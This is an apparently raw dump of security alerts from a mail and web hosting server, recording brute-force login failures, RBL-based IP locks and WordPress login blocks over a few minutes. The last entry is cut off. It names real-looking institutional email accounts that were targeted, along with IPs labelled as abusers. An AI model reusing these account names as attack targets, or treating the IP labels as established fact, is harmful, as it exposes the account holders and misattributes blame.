2025-02-07 16:34:05 dovecot_login authenticator failed for ([185.167.58.9]) [185.167.58.9]:58122: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 143.208.127.114
country_id: 3469034
description:
[2025-02-07 16:34:13 +0100] info [webmaild] 143.208.127.114 - info@ait-ext.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.102.149.88
country_id: 294640
description:
Feb  7 16:34:24 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.102.149.88 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.174.3.182
country_id: 2658434
description:
Feb  7 16:33:25 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.174.3.182 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.175.220.250
country_id: 2077456
description:
2025-02-07 16:34:18 dovecot_plain authenticator failed for 110-175-220-250.static.tpgi.com.au (115-64-230-168.static.tpgi.com.au) [110.175.220.250]:50597: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.146.186.122
country_id: 1835841
description:
2025-02-07 16:34:24 dovecot_plain authenticator failed for ([221.146.186.122]) [221.146.186.122]:45726: 535 Incorrect authentication data (set_id=awadzie@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.115.254.158
country_id: 1210997
description:
Feb  7 16:33:35 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.115.254.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.146.186.122
country_id: 1835841
description:
Feb  7 16:34:22 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.146.186.122 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 63.41.161.202
country_id: 6252001
description:
2025-02-07 16:33:54 dovecot_plain authenticator failed for host202.sub-63-41-161.myvzw.com [63.41.161.202]:52400: 535 Incorrect authentication data (set_id=rfiawoo13)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.168.119.2
country_id: 1814991
description:
Feb  7 16:33:54 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.168.119.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.168.119.2
country_id: 1814991
description:
2025-02-07 16:33:56 dovecot_plain authenticator failed for ([180.168.119.2]) [180.168.119.2]:56439: 535 Incorrect authentication data (set_id=info@myait.org)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.167.58.9
country_id: 617790
description:
Feb  7 16:34:03 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.167.58.9 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.174.3.182
country_id: 2658434
description:
2025-02-07 16:33:27 dovecot_plain authenticator failed for 182.3.174.178.static.wline.lns.sme.cust.swisscom.ch [178.174.3.182]:34779: 535 Incorrect authentication data (set_id=ads06a99959y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.115.254.158
country_id: 1210997
description:
2025-02-07 16:33:37 dovecot_plain authenticator failed for ([103.115.254.158]) [103.115.254.158]:37485: 535 Incorrect authentication data (set_id=rfiawoo13@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 151.177.90.113
country_id: 2661886
description:
Feb  7 16:34:44 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 151.177.90.113 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.172.189.90
country_id: 1835841
description:
2025-02-07 16:35:19 dovecot_login authenticator failed for ([112.172.189.90]) [112.172.189.90]:38902: 535 Incorrect authentication data (set_id=oudoc@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.102.149.88
country_id: 294640
description:
2025-02-07 16:34:26 dovecot_plain authenticator failed for ([82.102.149.88]) [82.102.149.88]:48287: 535 Incorrect authentication data (set_id=ads19b00191y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.152.253
country_id: 1819730
description:
Feb  7 16:34:36 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.152.253 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.35.188.202
country_id: 2921044
description:
Feb  7 16:34:36 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.35.188.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
country_id: 1269750
description:
Feb  7 16:34:39 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 151.177.90.113
country_id: 2661886
description:
2025-02-07 16:34:46 dovecot_plain authenticator failed for c151-177-90-113.bredband.tele2.se (oddlifil) [151.177.90.113]:37438: 535 Incorrect authentication data (set_id=dhdvn@iric.us)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.172.189.90
country_id: 1835841
description:
Feb  7 16:35:17 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.172.189.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.81.133.182
country_id: 1835841
description:
Feb  7 16:34:29 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.81.133.182 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.81.133.182
country_id: 1835841
description:
2025-02-07 16:34:31 dovecot_plain authenticator failed for ([61.81.133.182]) [61.81.133.182]:43506: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.152.253
country_id: 1819730
description:
2025-02-07 16:34:38 dovecot_plain authenticator failed for (m121-202-152-253.smartone.com) [121.202.152.253]:35078: 535 Incorrect authentication data (set_id=awadzie)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.35.188.202
country_id: 2921044
description:
2025-02-07 16:34:38 dovecot_plain authenticator failed for 202-188-035-194.ip-addr.vsenet.de [194.35.188.202]:55047: 535 Incorrect authentication data (set_id=ads19b00191y)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.50.42
country_id: 1880251
description:
47.128.50.42 - - [07/Feb/2025:16:35:28 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=22200050 HTTP/1.1" 302 0 ait-open.net "http://ait-open.net/elearning/data/acrobat-xi-standard-student-and-teacher-edition-discount.php?__im-drjaJOOh=18023029475519960869" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.50.42


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.206.63.169
country_id: 6252001
description:
Feb  7 16:35:38 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.206.63.169 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.206.63.169
country_id: 6252001
description:
2025-02-07 16:35:40 dovecot_login authenticator failed for ([47.206.63.169]) [47.206.63.169]:52124: 535 Incorrect authentication data (set_id=oudoc)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.248.211.38
country_id: 1814991
description:
Feb  7 16:36:37 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.248.211.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.99.41.30
country_id: 2635167
description:
Feb  7 16:36:43 ait sshd[1899991]: pam_imunify(sshd:auth): [IM360_RBL] The IP 79.99.41.30 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 79.99.41.30
country_id: 2635167
description:
Feb  7 16:36:43 ait sshd[1899991]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=79.99.41.30


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.180.249.165
country_id: 1814991
description:
2025-02-07 16:37:16 dovecot_login authenticator failed for ([220.180.249.165]) [220.180.249.165]:39533: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 198.211.125.40
country_id: 2750405
domain: iric.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:yanz@123457||WPU:yanz@123457||RSV:6.65||T:APACHE||MV:16-36.198.211.125.40


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.33.201.45
country_id: 1814991
description:
Feb  7 16:37:05 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.33.201.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.180.249.165
country_id: 1814991
description:
Feb  7 16:37:14 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.180.249.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
country_id: 1835841
description:
Feb  7 16:36:53 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.129.191.8
country_id: 3469034
description:
[2025-02-07 16:36:27 +0100] info [webmaild] 177.129.191.8 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.248.211.38
country_id: 1814991
description:
2025-02-07 16:36:39 dovecot_plain authenticator failed for ([183.71.251.66]) [113.248.211.38]:46107: 535 Incorrect authentication data (set_id=bsemaha@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.3.159.176
country_id: 6252001
description:
Feb  7 16:36:46 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.3.159.176 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.11.130.37
country_id: 1668284
description:
2025-02-07 16:36:51 dovecot_plain authenticator failed for 124-11-130-37.static.tfn.net.tw [124.11.130.37]:54928: 535 Incorrect authentication data (set_id=ads20a00243y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.33.201.45
country_id: 1814991
description:
2025-02-07 16:37:07 dovecot_plain authenticator failed for (45.201.33.36.adsl-pool.ah.cnuninet.net) [36.33.201.45]:45478: 535 Incorrect authentication data (set_id=ads20a00243y)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 3.109.181.164
country_id: 1269750
domain: hostels.ait-edu.net
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:hostel||WPU:hostel||RSV:6.65||T:APACHE||MV:16-37.3.109.181.164


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.159.164.28
country_id: 294640
description:
2025-02-07 16:37:15 dovecot_plain authenticator failed for ([85.159.164.28]) [85.159.164.28]:45865: 535 Incorrect authentication data (set_id=obiri@ait.edu.gh)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 47.128.60.46
country_id: 1880251
description:
47.128.60.46 - - [07/Feb/2025:16:36:31 +0100] "GET /wp-content/themes/edumall/assets/images/page-404-image.png HTTP/2.0" 415 176 lms.aitsmartschool.com "https://lms.aitsmartschool.com/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=27760748" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.60.46


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.176.206.19
country_id: 6252001
description:
2025-02-07 16:37:12 dovecot_plain authenticator failed for syn-076-176-206-019.res.spectrum.com [76.176.206.19]:59019: 535 Incorrect authentication data (set_id=eng18b00217y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.159.164.28
country_id: 294640
description:
Feb  7 16:37:13 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.159.164.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.3.159.176
country_id: 6252001
description:
2025-02-07 16:36:48 dovecot_plain authenticator failed for (192-3-159-176-host.colocrossing.com) [192.3.159.176]:34204: 535 Incorrect authentication data (set_id=bsemaha)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 76.176.206.19
country_id: 6252001
description:
Feb  7 16:37:10 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 76.176.206.19 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.77.25.247
country_id: 6252001
description:
2025-02-07 16:38:01 dovecot_login authenticator failed for (static-76-77-25-247.networklubbock.net) [76.77.25.247]:57242: 535 Incorrect authentication data (set_id=info@lemsas.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.236.221.56
country_id: 1814991
description:
Feb  7 16:38:03 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.236.221.56 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.236.221.56
country_id: 1814991
description:
2025-02-07 16:38:05 dovecot_plain authenticator failed for ([183.236.221.56]) [183.236.221.56]:33578: 535 Incorrect authentication data (set_id=abs21a00012y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.23.156.227
country_id: 1814991
description:
Feb  7 16:37:29 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.23.156.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.131.46.146
country_id: 1814991
description:
2025-02-07 16:37:53 dovecot_plain authenticator failed for ([61.131.46.146]) [61.131.46.146]:34791: 535 Incorrect authentication data (set_id=ads20a00243y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
country_id: 1835841
description:
Feb  7 16:37:56 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 76.77.25.247
country_id: 6252001
description:
Feb  7 16:37:59 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 76.77.25.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.206.37
country_id: 1819730
description:
Feb  7 16:38:03 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.206.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.115.254.158
country_id: 1210997
description:
Feb  7 16:38:12 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.115.254.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 167.250.119.207
country_id: 3865483
description:
2025-02-07 16:37:29 dovecot_plain authenticator failed for ([167.250.119.207]) [167.250.119.207]:54725: 535 Incorrect authentication data (set_id=obiri)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 167.250.119.207
country_id: 3865483
description:
Feb  7 16:37:27 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 167.250.119.207 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.206.37
country_id: 1819730
description:
2025-02-07 16:38:05 dovecot_plain authenticator failed for (m121-202-206-37.smartone.com) [121.202.206.37]:2164: 535 Incorrect authentication data (set_id=ads20a00243y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.127.114
country_id: 2017370
description:
2025-02-07 16:38:13 dovecot_plain authenticator failed for ([178.178.127.114]) [178.178.127.114]:25935: 535 Incorrect authentication data (set_id=abs21a00012y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.102.66.226
country_id: 6251999
description:
Feb  7 16:37:27 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.102.66.226 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.23.156.227
country_id: 1814991
description:
2025-02-07 16:37:31 dovecot_login authenticator failed for ([218.23.156.227]) [218.23.156.227]:33574: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.131.46.146
country_id: 1814991
description:
Feb  7 16:37:51 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.131.46.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.178.127.114
country_id: 2017370
description:
Feb  7 16:38:11 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.127.114 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.115.254.158
country_id: 1210997
description:
2025-02-07 16:38:14 dovecot_login authenticator failed for ([103.115.254.158]) [103.115.254.158]:36269: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.126.89.89
country_id: 660013
description:
2025-02-07 16:38:25 dovecot_login authenticator failed for (ADMIN) [188.126.89.89]:37310: 535 Incorrect authentication data (set_id=ait@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.102.66.226
country_id: 6251999
description:
2025-02-07 16:37:29 dovecot_plain authenticator failed for ([207.102.66.226]) [207.102.66.226]:54053: 535 Incorrect authentication data (set_id=eng18b00217y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.166.162.78
country_id: 1814991
description:
2025-02-07 16:39:19 dovecot_plain authenticator failed for ([180.166.162.78]) [180.166.162.78]:33889: 535 Incorrect authentication data (set_id=nyarko)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.47.74.210
country_id: 1269750
description:
Feb  7 16:38:47 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.47.74.210 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.199.147
country_id: 1819730
description:
2025-02-07 16:39:08 dovecot_plain authenticator failed for (m121-202-199-147.smartone.com) [121.202.199.147]:56227: 535 Incorrect authentication data (set_id=nyarko@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.166.162.78
country_id: 1814991
description:
Feb  7 16:39:17 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.166.162.78 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.47.74.210
country_id: 1269750
description:
2025-02-07 16:38:49 dovecot_login authenticator failed for ([103.47.74.210]) [103.47.74.210]:34834: 535 Incorrect authentication data (set_id=oudoc@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.233.177.34
country_id: 1814991
description:
2025-02-07 16:39:17 dovecot_login authenticator failed for ([183.233.177.34]) [183.233.177.34]:59077: 535 Incorrect authentication data (set_id=oudoc)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.36.151.150
country_id: 3469034
description:
Feb  7 16:39:23 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.36.151.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.36.151.150
country_id: 3469034
description:
2025-02-07 16:39:25 dovecot_plain authenticator failed for (vipturbo.com.br) [191.36.151.150]:50510: 535 Incorrect authentication data (set_id=ads20a00079y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.131.46.146
country_id: 1814991
description:
Feb  7 16:38:38 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.131.46.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.131.46.146
country_id: 1814991
description:
2025-02-07 16:38:40 dovecot_plain authenticator failed for ([61.131.46.146]) [61.131.46.146]:38483: 535 Incorrect authentication data (set_id=ads19b00251y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.199.147
country_id: 1819730
description:
Feb  7 16:39:06 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.199.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.233.177.34
country_id: 1814991
description:
Feb  7 16:39:15 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.233.177.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.165.151.19
country_id: 2017370
description:
Feb  7 16:38:48 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.165.151.19 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.165.151.19
country_id: 2017370
description:
2025-02-07 16:38:50 dovecot_plain authenticator failed for ([95.165.151.19]) [95.165.151.19]:44006: 535 Incorrect authentication data (set_id=ads19b00251y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.102.149.88
country_id: 294640
description:
2025-02-07 16:39:49 dovecot_plain authenticator failed for ([82.102.149.88]) [82.102.149.88]:52740: 535 Incorrect authentication data (set_id=suvie)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.187.79.19
country_id: 1269750
description:
Feb  7 16:40:24 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.187.79.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.204.100
country_id: 1819730
description:
Feb  7 16:39:35 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.204.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
country_id: 1562822
description:
Feb  7 16:39:45 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.149.220.148
country_id: 1269750
description:
Feb  7 16:39:53 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.149.220.148 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.149.220.148
country_id: 1269750
description:
2025-02-07 16:39:55 dovecot_plain authenticator failed for (static-146.220.149.202-tataidc.co.in) [202.149.220.148]:42362: 535 Incorrect authentication data (set_id=ads20a00079y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
country_id: 1835841
description:
Feb  7 16:40:02 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 156.236.111.18
country_id: 1819730
description:
Feb  7 16:40:06 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 156.236.111.18 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.236.111.18
country_id: 1819730
description:
2025-02-07 16:40:08 dovecot_login authenticator failed for ([156.236.111.18]) [156.236.111.18]:45401: 535 Incorrect authentication data (set_id=info@aitlemass.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.204.100
country_id: 1819730
description:
2025-02-07 16:39:37 dovecot_plain authenticator failed for (m121-202-204-100.smartone.com) [121.202.204.100]:39945: 535 Incorrect authentication data (set_id=suvie@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.102.149.88
country_id: 294640
description:
Feb  7 16:39:47 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.102.149.88 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.104.166.110
country_id: 1835841
description:
2025-02-07 16:40:50 dovecot_plain authenticator failed for ([211.104.166.110]) [211.104.166.110]:58380: 535 Incorrect authentication data (set_id=eharry@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.84.158.215
country_id: 2017370
description:
2025-02-07 16:41:10 dovecot_plain authenticator failed for broadband-95-84-158-215.ip.moscow.rt.ru [95.84.158.215]:60354: 535 Incorrect authentication data (set_id=ads19a00062y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 97.89.202.226
country_id: 6252001
description:
2025-02-07 16:40:35 dovecot_login authenticator failed for syn-097-089-202-226.biz.spectrum.com [97.89.202.226]:51026: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.104.166.110
country_id: 1835841
description:
Feb  7 16:40:48 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.104.166.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.200.95.200
country_id: 2750405
description:
2025-02-07 16:41:01 dovecot_plain authenticator failed for 89-200-95-200.mobile.kpn.net [89.200.95.200]:60672: 535 Incorrect authentication data (set_id=eharry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.187.79.19
country_id: 1269750
description:
2025-02-07 16:40:26 dovecot_plain authenticator failed for ([103.187.79.19]) [103.187.79.19]:52636: 535 Incorrect authentication data (set_id=pg23j2050041@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.134.19.99
country_id: 3175395
description:
Feb  7 16:40:34 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.134.19.99 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 97.89.202.226
country_id: 6252001
description:
Feb  7 16:40:33 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 97.89.202.226 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.153.247
country_id: 1819730
description:
2025-02-07 16:41:01 dovecot_plain authenticator failed for (m121-202-153-247.smartone.com) [121.202.153.247]:56811: 535 Incorrect authentication data (set_id=ads19a00062y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.153.247
country_id: 1819730
description:
Feb  7 16:40:59 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.153.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.200.95.200
country_id: 2750405
description:
Feb  7 16:40:59 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.200.95.200 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.84.158.215
country_id: 2017370
description:
Feb  7 16:41:08 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.84.158.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.134.19.99
country_id: 3175395
description:
2025-02-07 16:40:36 dovecot_plain authenticator failed for ([78.134.19.99]) [78.134.19.99]:44330: 535 Incorrect authentication data (set_id=pg23j2050041)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.76.248.54
country_id: 1814991
description:
